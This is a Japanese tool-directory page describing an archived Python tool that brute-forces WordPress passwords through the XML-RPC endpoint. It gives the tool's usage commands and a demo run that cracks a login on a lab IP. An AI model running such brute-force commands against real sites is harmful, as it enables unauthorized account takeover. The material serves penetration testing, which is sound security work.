Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
xmlrpc-bruteforcer — WordPress を標的とした XMLRPC ブルートフォーサー、Python 3 で記述。 （廃止） | Kitploit
ツール/GitHubGitHub/kavishgr/xmlrpc-bruteforcer
パスワード攻撃ウェブアプリケーション悪用情報収集ウェブセキュリティペネトレーションテストArchived
GitHubkavishgr/xmlrpc-bruteforcer

xmlrpc-bruteforcer

WordPress を標的とした XMLRPC ブルートフォーサー、Python 3 で記述。 （廃止）

リポジトリを見る
63291年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

WordPress用XMLRPCブルートフォーサー - （1N3@CrowdShieldによる）

注意 - このプロジェクトは終了しました

使用方法

root@kitploit:~
python3 xmlrcpbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt username
python3 xmlrpcbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt userlist.txt ( >>in progess<<)

バグ

もし xml.etree.ElementTree.ParseError エラーが発生した場合:

  • URLに'xmlrpc'を追加するのを忘れていませんか？
  • 'https' または 'www' を追加または削除してみてください。

TODO

  • xml.etree.ElementTree.ParseError の例外処理
  • 'userlist' の列挙

デモ

root@kitploit:~
MacBook-Pro: kavish$ python3 xmlrpcbruteforce.py http://192.168.100.34/xmlrpc.php 10k-most-common.txt elliot

---------------Examining Target--------------------

[>] Target is vulnerable.

--=[Target: http://192.168.100.34/xmlrpc.php]=--

        	[...Bruteforcing...]
--=[Tried: 1000 passwords]=--
--=[Tried: 2000 passwords]=--
--=[Tried: 3000 passwords]=--
--------------- BRUTEFORCE SUCCESSFULL  ---------------
--=[User found]=--
Login: elliot
Password: ER28-0652
--=[Exiting...]=--
ツールをダウンロード